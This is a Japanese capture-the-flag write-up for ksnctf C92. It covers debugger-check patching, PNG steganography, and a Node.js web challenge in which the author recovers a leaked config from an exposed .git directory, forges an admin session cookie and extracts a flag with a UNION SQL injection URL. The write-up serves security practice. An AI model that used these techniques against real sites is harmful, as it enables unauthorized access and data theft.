CTF
writeup

ksnctf C92 Writeup

https://ksnctfc92.sweetduet.info/

91点で48位でした。表問の一部だけ解けました。
良問揃いで楽しかった。

GATE - ゲート (1pt)

例を参考にleet表記に変換。

FLAG{W31C0M3_70_K5NC7F_C92}

E1 - Mysterious Light (10pt)

一部が光で見えなくなってるQRコード。

4隅の「回」みたいなとこを修正すれば読み取れる。

FLAG{QyDYkTQNd1lb1IDH}

E2 - 砂漠の中の1本のフラグ (20pt)

x64dbgで実行。

まずはデバッガチェックを回避。
IsDebuggerPresentの呼び出し箇所をxor eax, eaxでパッチを当てる
(2カ所あるが、近くにDO NOT DEBUGとか書いてある方)

画面に座標が描画されているようなので、そのアドレスを特定したい。
描画ルーチンを探す。
外部関数呼び出しを検索 → "string"で絞り込むと下記が出る

アドレス=00007FF7953F1D9F
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>

アドレス=00007FF7953F1DE6
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>

近くを見ると文字列を生成してる

00007FF7953F1D01 | 4C 8B 0D 40 43 00 00     | mov r9,qword ptr ds:[7FF7953F6048]      |
00007FF7953F1D08 | 4C 8B 05 31 43 00 00     | mov r8,qword ptr ds:[7FF7953F6040]      |
00007FF7953F1D0F | 48 8D 15 A2 27 00 00     | lea rdx,qword ptr ds:[7FF7953F44B8]     | rdx:L"%I64u, %I64u", 7FF7953F44B8:L"%I64u, %I64u"
00007FF7953F1D16 | 48 8D 8D A0 04 00 00     | lea rcx,qword ptr ss:[rbp+4A0]          |
00007FF7953F1D1D | FF 15 D5 23 00 00        | call qword ptr ds:[<&wsprintfW>]        |

7FF7953F6040, 7FF7953F6048がキャラの座標のアドレス。

00007FF7953F6040  01 00 00 00 00 00 00 80 02 00 00 00 00 00 00 80  ................  

16819585654921967928, 9709471222094771744にフラグがあります とのことなので、
この値に書き換える。

これで指定の座標に移動でき、マップに並んだ岩でフラグが書かれている。

FLAG{9729512216727087}

E6 - flower

FLAG 1 (10pt)

StegSolveでBlue plane 1を見る。最下位ビットじゃないのがひとひねりか。

FLAG{ZPf1dTqXQcbD0ygl}

ついでにヒントももらえる。

Hint1: IDAT
Hint2: ↓↓↓↓↓↓↓↓↓↓↓

FLAG 2 (15pt)

わからなかった。他の方の解法を見ると画像サイズを縦に伸ばすらしい。基本を見落としてた…

FLAG 3 (15pt)

バイナリエディタで見ると、IDATが複数ある。しかもずいぶん細切れ。

適当なツールに入れてみると

TweakPNG

ん?この数値の並びはひょっとして…

arr = [ 70, 76, 65, 71, 123, 49, 106, 109, 109, 90, 83, 76, 52, 65, 55, 70, 83, 86, 121, 66, 122, 125 ]
puts arr.map{|e| e.chr}.join("")
FLAG{1jmmZSL4A7FSVyBz}

その発想はなかった。すごい。

W - Kaisendon

FLAG1 (10pt)

まずはトップページにアクセス。

ユーザー登録が必要です

現在はクローズドベータテスト中で、招待された方のみが登録できます

ふむ。ソースがついてるのでapp.jsを見る

app.get('*', (req, res, next) => {
  if (req.session.registered) {
    next();
  } else {
    res.render('notregistered');
  }
});

...

app.get('/', function(req, res, next) {
  db.all('select * from don order by id desc limit 16', (error, dons) => {
    res.render('index', {dons, flag: process.env.FLAG1});
  })
});

登録できればフラグが見れる。

app.get(config.registerURL, (req, res) => {
  res.render('register');
});

configの内容が知りたいけど、config.jsは.gitignoreされている。

ん?git?
.gitがあった。ログを見る。
oops... とか書いてある。config.jsを間違ってコミットしたかな?

Git初心者が絶対に覚えておくべきコマンド - idesaku blog

$ git reflog
95a0789 HEAD@{0}: commit (amend): Make register page URL configurable
c81ac0e HEAD@{1}: commit: Make register page URL configurable
...

$ git reset --hard HEAD@{1}
HEAD is now at c81ac0e Make register page URL configurable

$ cat config.js
module.exports = {
  registerURL: '/register_yejaoy4eh19gjqqv',
}

登録フォームが出る。適当に入力。

ベータテストへのご協力ありがとうございます。

本サービス開始時にこちらのクーポンをご利用ください。

FLAG{3snoa6p4wncj1hpf}

クーポンw

FLAG2 (12pt)

app.get('/admin', (req, res) => {
  if (req.session.admin) {
    res.render('admin', {flag: process.env.FLAG2});
  } else {
    res.render('notadmin');
  }
});

adminになれればいいらしい。

$ git reset --hard 216bd65
HEAD is now at 216bd65 Make admin page

 app.get('/', function(req, res, next) {
+  req.session.admin = true;
   db.all('select * from don order by id desc limit 16', (error, dons) => {
     res.render('index', {dons});
   })
 });

Cookieに上記を書き込めばよさそうだけど、暗号化されている。

app.use(cookieSession({
  name: 'session',
  keys: ['* secret keys *'],

  // Cookie Options
  maxAge: 24 * 60 * 60 * 1000 // 24 hours
}));
$ git fsck --lost-found
Checking object directories: 100% (256/256), done.
dangling commit 0cc9051bba168a471ea9072bf8aa181336a6755c
dangling commit 216bd6562b8b060e9c4288878795229dbab0907e
dangling commit a65874ee60d9a0805c8a25f20d6e6050e3f08148
dangling commit c81ac0e91b7d1d7b4cbcb3a5f0aea5c734b7cc89

なんかあった

$ git show a65874ee6
...
+app.use(cookieSession({
+  name: 'session',
+  keys: [/ secret keys */],
+
+  // Cookie Options
+  maxAge: 24 * 60 * 60 * 1000 // 24 hours
+}));

$ git show 0cc9051bb
...
-  keys: [/ secret keys */],
+  keys: ['* secret keys *'],

惜しい。他のコミットにも入ってない。
…と見せかけて、わざわざこういうコミットがあるということは、本番サイトもこれがそのままキーになっている?

ではローカルでアプリを立ち上げてadminになって、そのCookieを流用してみる。

Dockerfile
FROM node:8-onbuild

ENV FLAG1 FLAG{flag_1}
ENV FLAG2 FLAG{flag_2}
ENV FLAG3 FLAG{flag_3}

EXPOSE 3000
docker-compose.yml
web:
  build: .
  ports:
    - "3000:3000"
$ docker-compose build && docker-compose up

アクセスすると下記のCookieが作られるので、本番サイトのCookieをこれに書き換える。

session: eyJyZWdpc3RlcmVkIjp0cnVlLCJhZG1pbiI6dHJ1ZX0=
session.sig: I7H6xVW_ro_Cip-MJFxz7tSDABk

/admin にアクセス。

FLAG{vakdriti4zzlj55p}

FLAG3 (13pt)

var db = new sqlite3.Database(':memory:');
db.serialize(() => {
  db.run('create table don ('+
    'id integer primary key autoincrement,'+
    'text text(1024))');
  db.run('create table flag (flag text)');
  db.run('insert into flag values (?)', process.env.FLAG3);
});

app.get('/edit/:id', (req, res) => {
  if (req.session.admin) {
    db.get('select * from don where id='+req.params.id, (error, don) => {
      res.render('edit', {don});
    })
  } else {
    res.render('notadmin');
  }
});

なので、adminの状態でSQLインジェクション。

select * from don where id=<存在しないid> union select null, flag from flag

をすればいい。以下にアクセス。

/edit/9999%20union%20select%20null,%20flag%20from%20flag
FLAG{bpodf2es4k9e42rf}